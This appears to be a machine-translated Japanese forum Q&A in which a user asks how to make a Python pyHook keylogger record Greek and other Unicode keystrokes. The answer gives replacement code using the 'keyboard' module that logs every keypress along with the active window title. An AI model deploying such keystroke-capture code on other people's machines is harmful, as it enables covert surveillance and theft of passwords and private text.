2017-02-03 4 views
1

シンプルなキーロギングプログラムを作成しました。キーボードで入力されたものはすべてlog.txtファイルに送られます。問題は私のコードがASCIIコードのためだけに働くことです。 ギリシャ文字を入力すると、英語として扱われます。 (文字の一般すべての種類) pyHookを使用してUnicode値を読み取ることはできますか?

  • ログイベントなど、私たちAltキー、Ctrlキーなど
  • 私のコードも、

    1. ギリシャ文字や他の言語を受け入れる:

      私は私のコードがしたいですこれまでのところ:

      import pyHook , pythoncom , sys , logging , os 
      
      file_log = "C:\\Users\\admin\\Desktop\\New folder\\log.txt" 
      f = open(file_log , 'w') 
      try: 
          f.seek(0) 
          f.truncate() 
      finally: 
          f.close() 
      
      def OnKeyboardEvent(event): 
          logging.basicConfig(filename=file_log,level = logging.DEBUG , format='%(message)s') 
          chr(event.Ascii) 
          logging.log(10,chr(event.Ascii)) 
          key = chr(event.Ascii) 
          print key 
          if (key == 'p'): 
            os.startfile("C:\\Users\\admin\\Desktop\\New folder\\log.txt") 
            sys.exit() 
          return True 
      
      hooks_manager = pyHook.HookManager() 
      hooks_manager.KeyDown = OnKeyboardEvent 
      hooks_manager.HookKeyboard() 
      pythoncom.PumpMessages() 
      

      私のプログラムはUnicodeを受け入れるべきですか?

      どうすればいいですか?

    +0

    どのようにこれをテストしている上でテストされましたか? – usr2564301

    +0

    @RadLexus私は自分のlog.txtファイルをチェックします。私はギリシャ文字を入力するとエラーを追加します –

    +0

    私は最後の部分を意味しました。どのようにギリシャ文字を入力しますか?あなたはギリシャ語のキーボードドライバを持っていますか? – usr2564301

    答えて

    0

    別のモジュールを使用することをお勧めします。私はPyHookを自分で使ってみましたが、これはデッドキー( `` ^)を押しながら私の問題を引き起こしました。通常、áのような特殊文字を使用する他の言語は、デッドキーを含んでいます。 PyHookはそれらをうまく処理しません。現在使用しているモジュールはkeyboardです。キーボードはデッドキーを正しく処理し、遭遇している間に奇妙な動作を表示しません。多分キーボードはあなたのための解決策です。キーボードを使用するための例は以下の通りです:

    from keyboard import on_press, on_release, wait 
    from win32gui import GetWindowText, GetForegroundWindow 
    from datetime import datetime 
    
    def display(event, key): 
        global ctrlpressed, shiftpressed, lastwindow 
        if lastwindow != GetWindowText(GetForegroundWindow()): 
         lastwindow = GetWindowText(GetForegroundWindow()) 
         print("New Window: " + lastwindow) 
        print('{0:8} {1:3} {2:5} {3:5} {4}'.format(datetime.fromtimestamp(event.time).strftime('%H:%M:%S'), event.scan_code, str(ctrlpressed), str(shiftpressed), key)) 
    
    def KeyPressed(event): 
        global ctrlpressed, shiftpressed 
        if(event.name == 'left shift' or event.name == 'right shift'): 
         shiftpressed = True; 
        elif(event.name == 'left ctrl' or event.name == 'right ctrl'): 
         ctrlpressed = True; 
        else: 
         display(event, event.name) 
    
    def KeyReleased(event): 
        global ctrlpressed, shiftpressed 
        if(event.name == 'left shift' or event.name == 'right shift'): 
         shiftpressed = False; 
        elif(event.name == 'left ctrl' or event.name == 'right ctrl'): 
         ctrlpressed = False; 
    
    ctrlpressed = shiftpressed = False; 
    lastwindow = ""; 
    on_press(KeyPressed) 
    on_release(KeyReleased) 
    wait() 
    

    のPython 3.5

    関連する問題